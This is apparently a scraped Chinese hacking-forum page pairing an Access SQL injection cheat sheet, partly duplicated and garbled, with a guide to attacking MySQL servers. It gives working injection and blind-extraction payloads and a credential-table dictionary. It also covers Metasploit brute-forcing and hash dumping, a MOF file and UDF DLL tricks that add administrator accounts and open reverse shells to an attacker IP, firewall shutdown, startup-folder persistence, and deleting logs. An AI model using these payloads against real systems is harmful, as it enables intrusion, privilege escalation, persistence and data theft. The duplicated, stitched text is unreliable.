列名枚举: 此原理已经在JBoss(一个使用Access存在漏洞的.jsp脚本)上测试通过 ,但是不敢保证在其他的环境下同样可用, 通常情况下,如果存在SQL注入漏洞,当你在URL参数后加一个"'"后,你将会得到一些错误信息,例如: Error (...) syntax (...) query (...) : " Id=0' "
从这个信息可以得出当前表存在一个列"ID".通常程序员会使用同样的URL参数,列名及表名.当你知道一个参数后,就可以通过mssql来枚举其他表名和列名:
' GROUP BY Id现在你将获得一个新的错误信息,它包含了另一个新的列名.你可以继续像这样枚举其他的表名: ' GROUP BY Id, SecondAttrName, ...
0x003:与操作系统的交互
*
安全提示:可以通过修改注册表来锁定一些受争议的函数的使用(比如SHELL(),等...):\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode
它的默认值是2,因此这些函数默认不可用.在下面我将会向你介绍当注册表的值被设置为0的情况.
*
获取当前目录: 需要一个已知的表名和主查询的列的数目:' UNION SELECT CurDir(),1,1 FROM validTableName *执行系统命令:shell()函数可以用来执行系统命令:
' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')
0x004:Access的系统表
MSysAccessXML:
*
Id
*
LValue
*
ObjectGuid
*
ObjectName
*
Property
*
Value
MSysACEs:
*
ACM
*
FInheritable
*
ObjectId
*
SID
MSysObjects:
*
Connect
*
Database
*
DataCreate
*
DataUpdate
*
Flags
*
ForeignName
*
Id
*
Lv
*
LxExtra
*
LvModule
*
LvProp
*
Name
*
Owner
*
ParentId
*
RmtInfoLong
*
RmtInfoShort
*
Type
这条查询可以用来获得数据库中的表名:
' UNION SELECT Name FROM MSysObjects WHERE Type = 1
0x005:盲注
*
猜解表名:可以使用下面提供的字典来猜解表名.注入查询语句:
' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])
在提交注入查询语句后,如果你获得的HTML返回和正常页面一样,则表存在.(因为 "AND 1"对查询没有任何影响).
*
猜解列名: 在指导表名的情况下,使用如下查询:
' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)
用和第一步同样的方法判断列是否存在.
*
猜解内容的行数: 在进一步的行动中,你必须知道表中内容的行数. 它在下面的查询中将被用作"TAB_LEN"变量:
' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)
这里的"X" 是大于0的任意值.可以使用老方法来判断"X"的准确值
0x006:猜解内容长度
你能通过以下语句获取"ATTRIB"列的第一行的内容长度:
' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)
可以通过以下语句猜解到 "ATTRIB"列中第二行到第TAB_LEN行的内容的长度 (这里N的值在2和TAB_LEN(在前面已经获得)之间):
' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)
"KKK" 为大于0的任意值,使用ATTRIB<>'valueXXX'的原因是我们必须选择一个特定的行来猜解.我想到的方法是将之前得到的"TOP N"行的值排除掉,然后剩下的行就是正在猜解的行.当然,这里有一个前提"ATTRIB"必须是主键.这里有一个例子:
A1 A2 A3
1111 2222 3333
0000 4444 oooo
aaaa bbbb cccc 可以这样获取第一行的所有内容的长度:' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)然后就可以这样获取第二行的内容的长度(假设A1为表的主键):' AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE
A1 <>'1111') = KKK, 1, 0)' AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE
A1 <> '1111') = KKK, 1, 0)'AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE
A1 <> '1111') = KKK, 1, 0)第三行也一样:' AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE
A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)' AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)' AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)
很明显,在猜解第一行以后的内容的长度(第2到第TAB_LEN行),你必须得到之前所有行的内容(你需要把它放在WHERE后)。
最后:猜解内容。
假设攻击者已经知道了表和列名,他将使用这样的查询:[size=16][b]' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2'
... etc ... ) = CHAR(YYY), 1, 0)[/b][/size]
"N"是要猜解的行, "XXX"是 "ATTRIBxxx"的第X个字节, "ATT_key"是表的的主键"YYY"是一个0到255之间的数.(它代表着一个字符的ASCII码).这里我们任然要使用前面提到的方法猜解其他行的内容.
0x007:表名/列名(字典)
这里是一个小的表/列名样本字典
*
account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
*
customers, customer, config, conf, cfg;
*
hash;
*
login, logout, loginout, log;
*
member, memberid;
*
password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
*
store, store1, store2, store3, store4, setting;
*
username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;
查看全部
*
默认用户:admin,密码:空。
*
注释符: Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"()代替: ' UNION SELECT 1,1,1 FROM validTableName
*
Access不支持多句执行。
*
Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名.
*
附属查询: Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) : ' AND (SELECT TOP 1 'someData' FROM validTableName)
*
LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数: ' UNION SELECT TOP 3 AttrName FROM validTableName : 这条语句返回(前)3 行.
*
让查询返回0行:在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:* ' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName
*
字符串连接:不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:
* ' UNION SELECT 'web' %2b 'app' FROM validTableName : 返回"webapp"
* ' UNION SELECT 'web' %26 'app' FROM validTableName : 返回"webapp"
*
暴WEB路径:
可以通过对一个不存在的库进行SELECT操作.Access将回应一条包含有完整路径的错误信息
* ' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable
*
IF语句: 可以使用IIF()函数. 语法 : IIF(condition, true, false), ' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName : 返回 'a'
*
验证文件是否存在:' UNION SELECT name FROM msysobjects IN '\boot.ini' : (如果文件存在)将会获得一条错误信息:it informs that the database format was not recognized。
0x002:注入步骤
*
表名猜解: ' UNION SELECT 1 FROM table[i]
*
列名猜解: 需要一个已知的表名和主查询的列的数目: ' UNION SELECT fieldName[j],1,1,1 FROM validTableName
你可以将上面的例子修改一下(将table改为fieldname),如果表不存在,将会返回一个列不存在的错误信息.
*
列名枚举: 此原理已经在JBoss(一个使用Access存在漏洞的.jsp脚本)上测试通过 ,但是不敢保证在其他的环境下同样可用, 通常情况下,如果存在SQL注入漏洞,当你在URL参数后加一个"'"后,你将会得到一些错误信息,例如: Error (...) syntax (...) query (...) : " Id=0' "
从这个信息可以得出当前表存在一个列"ID".通常程序员会使用同样的URL参数,列名及表名.当你知道一个参数后,就可以通过mssql来枚举其他表名和列名:
' GROUP BY Id现在你将获得一个新的错误信息,它包含了另一个新的列名.你可以继续像这样枚举其他的表名: ' GROUP BY Id, SecondAttrName, ...
0x003:与操作系统的交互
*
安全提示:可以通过修改注册表来锁定一些受争议的函数的使用(比如SHELL(),等...):\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode
它的默认值是2,因此这些函数默认不可用.在下面我将会向你介绍当注册表的值被设置为0的情况.
*
- 获取当前目录: 需要一个已知的表名和主查询的列的数目:
- 执行系统命令:shell()函数可以用来执行系统命令:
' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')
0x004:Access的系统表
MSysAccessXML:
*
Id
*
LValue
*
ObjectGuid
*
ObjectName
*
Property
*
Value
MSysACEs:
*
ACM
*
FInheritable
*
ObjectId
*
SID
MSysObjects:
*
Connect
*
Database
*
DataCreate
*
DataUpdate
*
Flags
*
ForeignName
*
Id
*
Lv
*
LxExtra
*
LvModule
*
LvProp
*
Name
*
Owner
*
ParentId
*
RmtInfoLong
*
RmtInfoShort
*
Type
这条查询可以用来获得数据库中的表名:
' UNION SELECT Name FROM MSysObjects WHERE Type = 1
0x005:盲注
*
猜解表名:可以使用下面提供的字典来猜解表名.注入查询语句:
' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])
在提交注入查询语句后,如果你获得的HTML返回和正常页面一样,则表存在.(因为 "AND 1"对查询没有任何影响).
*
猜解列名: 在指导表名的情况下,使用如下查询:
' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)
用和第一步同样的方法判断列是否存在.
*
猜解内容的行数: 在进一步的行动中,你必须知道表中内容的行数. 它在下面的查询中将被用作"TAB_LEN"变量:
' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)
这里的"X" 是大于0的任意值.可以使用老方法来判断"X"的准确值
0x006:猜解内容长度
你能通过以下语句获取"ATTRIB"列的第一行的内容长度:
' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)
可以通过以下语句猜解到 "ATTRIB"列中第二行到第TAB_LEN行的内容的长度 (这里N的值在2和TAB_LEN(在前面已经获得)之间):
' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)
"KKK" 为大于0的任意值,使用ATTRIB<>'valueXXX'的原因是我们必须选择一个特定的行来猜解.我想到的方法是将之前得到的"TOP N"行的值排除掉,然后剩下的行就是正在猜解的行.当然,这里有一个前提"ATTRIB"必须是主键.这里有一个例子:
A1 A2 A3
1111 2222 3333
0000 4444 oooo
aaaa bbbb cccc 可以这样获取第一行的所有内容的长度:
' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)
' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)
' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)然后就可以这样获取第二行的内容的长度(假设A1为表的主键):
' AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE
A1 <>'1111') = KKK, 1, 0)
' AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE
A1 <> '1111') = KKK, 1, 0)
'AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE第三行也一样:
A1 <> '1111') = KKK, 1, 0)
' AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE
A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)
' AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)
' AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)
很明显,在猜解第一行以后的内容的长度(第2到第TAB_LEN行),你必须得到之前所有行的内容(你需要把它放在WHERE后)。
最后:猜解内容。
假设攻击者已经知道了表和列名,他将使用这样的查询:
[size=16][b]' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2'
... etc ... ) = CHAR(YYY), 1, 0)[/b][/size]
"N"是要猜解的行, "XXX"是 "ATTRIBxxx"的第X个字节, "ATT_key"是表的的主键"YYY"是一个0到255之间的数.(它代表着一个字符的ASCII码).这里我们任然要使用前面提到的方法猜解其他行的内容.
0x007:表名/列名(字典)
这里是一个小的表/列名样本字典
*
account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
*
customers, customer, config, conf, cfg;
*
hash;
*
login, logout, loginout, log;
*
member, memberid;
*
password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
*
store, store1, store2, store3, store4, setting;
*
username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;
mysql数据库渗透及漏洞利用总结
flaray 发表了文章 • 0 个评论 • 626 次浏览 • 2019-03-25 13:27
1.1 mysql信息收集
1、端口信息收集
mysql默认端口是3306端口,但也有自定义端口针对默认端口扫描主要利用扫描软件进行探测,推荐使用:
1. iisputter,直接填写3306端口,IP地址填写单个或者C段地址。
2. nmap扫描nmap -p 3306 192.168.1.1-254
特定目标的渗透,可能需要对全端口进行扫描,可以使用Nmap对某一个IP地址进行全端口扫描,端口扫描软件还有sfind等DOS下扫描的工具。
2、版本信息收集
(1)msf查看版本信息auxiliary/scanner/mysql/mysql_version模块,以扫描主机192.168.157.130为例,命令为:
use auxiliary/scanner/mysql/mysql_version
set rhosts 192.168.157.130
run
(2)mysql查询版本命令: SELECT @@version`、`SELECT version();
(3)sqlmap通过注入点扫描确认信息:
sqlmap.py -u url --dbms mysql
(4)phpmyadmin管理页面登录后查看localhost->变量->服务器变量和设置中的version参数值。
3、数据库管理信息收集
Mysql管理工具有多种,例如phpmyadmin网站管理,Navicat for MySQL以及MysqlFront等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。
4、msf信息收集模块:
(1)mysql哈希值枚举
use auxiliary/scanner/mysql/mysql_hashdump
set username root
set password root
run
(2)获取相关信息
use auxiliary/admin/mysql/mysql_enum
set username root
set password root
run
获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。
(3)执行mysql语句,连接成功后可以在msf执行sql语句,跟sqlmap的–sql-shell模块类似。
use auxiliary/admin/mysql/mysql_sql
(4)将mysql_schem导出到本地 /root/.msf4/loot/文件夹下
use auxiliary/scanner/mysql/mysql_schemadump
(5)文件枚举和目录可写信息枚举
auxiliary/scanner/mysql/mysql_file_enum
auxiliary/scanner/mysql/mysql_writable_dirs 没有测试成功过,需要定义枚举目录和相关文件,觉得基本没有啥用。
1.2 mysql密码获取
1.2.1暴力破解
Mysql暴力破解主要有几种:
1.网页在线连接破解
可以使用burpsuite和phpMyAdmin多线程批量破解工具。 下载: https://portswigger.net/burp/、 http://pan.baidu.com/s/1c1LD6co
2.msf通过命令行进行暴力破解
msf破解mysql密码模块auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数。对单一主机仅仅需要设置RHOSTS、RPORT、USERNAME、PASSWORD和PASS_FILE,其它参数根据实际情况进行设置。
(1)场景A:对内网获取root某一个口令后,扩展渗透
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.1-254
set password root
set username root
run
执行后对192.168.157.1-254进行mysql密码扫描验证。
(2)场景B:使用密码字典进行扫描
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.1-254
set pass_file /tmp/password.txt
set username root
run
3.使用nmap扫描并破解密码
(1)对某一个IP或者IP地址段进行nmap默认密码暴力破解并扫描
nmap --script=mysql-brute 192.168.157.130
nmap --script=mysql-brute 192.168.157.1-254
(2)使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息
nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130 (3)检查root空口令
nmap --script mysql-empty-password 192.168.195.130
4.使用hscan工具对mysql口令进行扫描,需要设置扫描IP地址段以及数据库口令字典及用户名字典。
1.2.2源代码泄露1.网站源代码备份文件
一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘鸡可以自定义网站等名称对zip/rar/tar/tar.gz/gz/sql等后缀文件进行扫描。
2.配置备份文件
使用ultraedit等编辑文件编辑数据库配置文件后,会留下bak文件。
1.2.3 文件包含: 本地文件包含漏洞可以包含文件,通过查看文件代码获取数据库配置文件,进而读取数据库用户名和密码。
1.2.4其他情况: 有些软件会将IP地址、数据库用户名和密码写进程序中,运行程序后,通过cain软件进行嗅探,可以获取数据库密码。另外Mysql客户端管理工具有的管理员会建立连接记录,这些连接记录保存了用户名、密码和连接IP地址或者主机名,通过配置文件或者嗅探可以获取用户名和密码。
1.3 mysql获取webshell
1.3.1 phpmyadminroot账号获取webshell
1. 3.2 sqlmap注入点获取webshell
1.4 mysql提权
1.4.1 mof提权
1.Webshell上传mof文件提权
MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit( https://www.exploit-db.com/exploits/23083/),简称mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:
方法1:运行 MOF 文件指定为命令行参数 Mofcomp.exe 文件。
方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。
方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。
Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用IMofCompiler::CompileFile方法。第三种方法仅为向后兼容性与早期版本的?WMI提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下,否则会失败!
该漏洞的利用前提条件是必须具备mysql的root权限,在Kingcope公布的0day中公布了一个pl利用脚本。
perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
192.168.2.100为mysql数据库所在服务器,mysql口令为空,反弹到192.168.2.150的5555端口上。
2.生成nullevt.mof文件
将以下代码保存为nullevt.mof文件:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select \ From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
3.通过Mysql查询将文件导入
执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7中默认是拒绝访问的。导入后系统会自动运行,执行命令。
selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile
'c:/windows/system32/wbem/mof/nullevt.mof';
1.4.2 msf直接mof提权
Msf下的exploit/windows/mysql/mysql_mof模块提供了直接Mof提权,不过该漏洞成功跟操作系统权限和Mysql数据库版本有关,执行成功后会直接反弹shell到meterpreter。
使用过程:
use exploit/windows/mysql/mysql_mof
set rhost 192.168.157.1 //设置需要提权的远程主机IP地址
set rport 3306 //设置mysql的远程端口
set password root //设置mysql数据库root密码
set username root //设置mysql用户名
options //查看设置
run 0
技巧:
要是能够通过网页连接管理(phpmyadmin),则可以修改host为%并刷新权限后,则可以通过msf等工具远程连接数据库。默认root等账号不允许远程连接,除非管理员或者数据库用户自己设置。
方法1:本地登入mysql,更改?mysql数据库里的?user?表里的?host项,将localhost改为%
use mysql;
update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;
select host, user from user;
方法2:直接授权(推荐)
从任何主机上使用root用户,密码:youpassword(你的root密码)连接到mysql服务器:
# mysql -u root -proot
GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;
FLUSH PRIVILEGES;
推荐重新增加一个用户,在实际测试过程中发现很多服务器使用root配置了多个地址,修改后可能会影响实际系统的运行。在实际测试过程中因此建议新增一个用户,授权所有权限,而不是直接更改root配置。
1.4.3 UDF提权UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限,其利用条件是目标系统是Windows(Win2000,XP,Win2003);拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数,有root账号密码
Windows下UDF提权对于Windows2008以下服务器比较适用,也即针对Windows2000、Windows2003的成功率较高。
1.UDF提权条件
1. Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
2. Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
3. 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
4. 可以将udf.dll写入到相应目录的权限。
2.提权方法 (1)获取数据库版本、数据位置以及插件位置等信息
select version();//获取数据库版本
select user();//获取数据库用户
select @@basedir ;//获取安装目录
show variables like '%plugins%'; //寻找mysql安装路径
(2)导出路径
C:\Winnt\udf.dll Windows 2000
C:\Windows\udf.dll Windows2003(有的系统被转义,需要改为C:Windowsudf.dll)
MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数。该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录即可。
在某些情况下,我们会遇到Can’t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,网上大牛发现利用NTFS ADS流来创建文件夹的方法:
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server
5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server
5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录
执行成功以后就会plugin目录,然后再进行导出udf.dll即可。
(3)创建cmdshell 函数,该函数叫什么名字在后续中则使用该函数进行查询:
create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;
(4)执行命令:
select sys_eval(‘whoami’);
一般情况下不会出现创建不成功哦。连不上3389可以先停止windows防火墙和筛选
select sys_eval(‘net stop policyagent’);
select sys_eval(‘net stop sharedaccess’);
udf.dll下常见函数:
cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 说明与帮助函数;
具体用户示例:
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
select cmdshell('netstat -an');
(5)清除痕迹
drop function cmdshell;//将函数删除
删除udf.dll文件以及其它相关入侵文件及日志。
(6)常见错误
1290 - The MySQL server is running with the --secure-file-priv option so it cannot
execute this statement
在my.ini或者mysql.cnf文件中注销 (使用#号) 包含secure_file_priv的行(SHOW VARIABLES LIKE “secure_file_priv”)。
1123 - Can't initialize function 'backshell';
UDFs are unavailable with the --skip-grant-tables option
需要将my.ini中的skip-grant-tables选项去掉。
3.webshell下udf提权
通过集成udf提权的webshell输入数据库用户名及密码以及数据库服务器地址或者IP通过连接后导出进行提权。
4.Mysql提权综合利用工具
v5est0r 写了一个Mysql提权综合利用工具,详细情况请参考其代码共享网站: https://github.com/v5est0r/Python_FuckMySQL其主要功能有:
(1)自动导出你的backdoor和mof文件
(2)自动判断mysql版本,根据版本不同导出UDF的DLL到不同目录,UDF提权
(3)导出LPK.dll文件,劫持系统目录提权
(4)写启动项提权
UdF自动提权:
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf
LPK劫持提权:
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk
启动项提权:
python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst
例如通过LOAD_FILE来查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,这无法进行提权
1.4.4 无法获取webshell提权
1.连接mysql
(1)mysql.exe -h ip -uroot -p
(2)phpmyadmin
(3)Navicat for MySQL
2.查看数据库版本和数据路径
SELECT VERSION( );
Select @@datadir;
5.1以下版本,将dll导入到c:/windows或者c:/windows/system32/
5.1以上版本 通过以下查询来获取插件路径:
SHOW VARIABLES WHERE Variable_Name LIKE "%dir";
show variables like '%plugin%' ;
select load_file('C:/phpStudy/Apache/conf/httpd.conf')
select load_file('C:/phpStudy/Apache/conf/vhosts.conf')
select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')
select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')
select load_file('d:/phpStudy/Apache/conf/vhosts.conf')
3.修改mysql.txt
Mysql.txt为udf.dll的二进制文件转成十六进制代码。
(1)先执行导入ghost表中的内容
修改以下代码的末尾代码 select backshell(“YourIP”,4444);
(2)导出文件到某个目录
select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';
select data from Ghost into dumpfile 'c:/windows/system32/mysqldll';
select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll';
select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';
select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'
select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';
select load_file('C:/ProgramData/MySQL/ MySQL Server 5.1/Data/mysql/user.frm');
select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'
(3)查看FUNCTION中是否存在cmdshell和backshell 存在则删除:
drop FUNCTION cmdshell;//删除cmdshell
drop FUNCTION backshell;//删除backshell
创建backshell:
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
在具备独立主机的服务器上执行监听:
nc -vv -l -p 44444
执行查询:
select backshell("192.192.192.1",44444);//修改192.192.192.1为你的IP和端口
4.获取webshell后添加用户命令
注意如果不能直接执行,则需要到c:\windows\system32\下执行
net user antian365 www.xianzhi.aliyun.com /add
net localgroup administrators antian365
1.4.5 sqlmap直连数据库提权Sqlmap直接连接数据库提权,需要有写入权限和root账号及密码,命令如下:
(1)连接数据库
sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell
(2)选择操作系统的架构,32位操作系统选择1,64位选择2.
(3)自动上传udf或提示os-shell
(4)执行whomai命令如果获取系统权限,则表示提权成功。
1.4.5 kali linux下的msfudf提权msfconsole
use exploit/windows/mysql/mysql_payload
options
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
run 0或者exploit
msf下udf提权成功率并不高,跟windows操作系统版本,权限和数据库版本有关,特别是secure-file-priv选项,如果有该选项基本不会成功。
=12pt 1.4.6 启动项提权
1.创建表并插入vbs脚本到表中,依次使用以下命令:
show databases ;
use test;
show tables;
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );
select \ from a;
2. 导出vbs脚本到启动
使用以下命令将刚才在a表中创建的vbs脚本导出到启动选项中。 select \ from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单
\\程序\\启动\\a.vbs";
导入成功后,系统重新启动时会自动添加密码为“1”且用户名称为“1”的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低,有时候会出现不能导出的错误.
推荐使用以下脚本
show databases ;
use test;
show tables;
create table b (cmd text);
insert into b values ("net user Aspnet123545345! /add");
insert into b values ("net localgroup administrators Aspnet /add");
insert into b values ("del b.bat");
select from b into outfile "C:\\Documents and Settings\\All Users\\ 「开始」菜单\\程序\\启动\\b.bat";
该脚本执行后虽然会闪现Dos窗口,如果有权限导入到启动选项中,则一定会执行成功,在虚拟机中通过MySQL连接器连接并执行以上命令后,在C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录中会有刚才导出的b.bat脚本文件 说明:
在不同的操作系统中C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录文件名称可能会不同,这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为:
select from b into outfile "C:\\Documents and Settings\\All Users\\ Start Menu\\Programs\\Startup\\b.bat";
Windows 2008 Server的启动目录为:
C:\\ProgramData\\Microsoft\\Windows \\Start Menu\\Programs\\Startup\\iis.vbs
其vbs方法可以参考如下写法:
create table a (cmd text);
insert into a values ("set wshshell= createobject (""wscript.shell"" ) " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );
insert into a values ("b=wshshell.run ("" cmd.exe /c net localgroup Administrators antian365 /add"",0) " );
select \ from a into outfile "C:\\ProgramData\\Microsoft\\ Windows\\Start Menu\\Programs\\Startup\\iis.vbs";
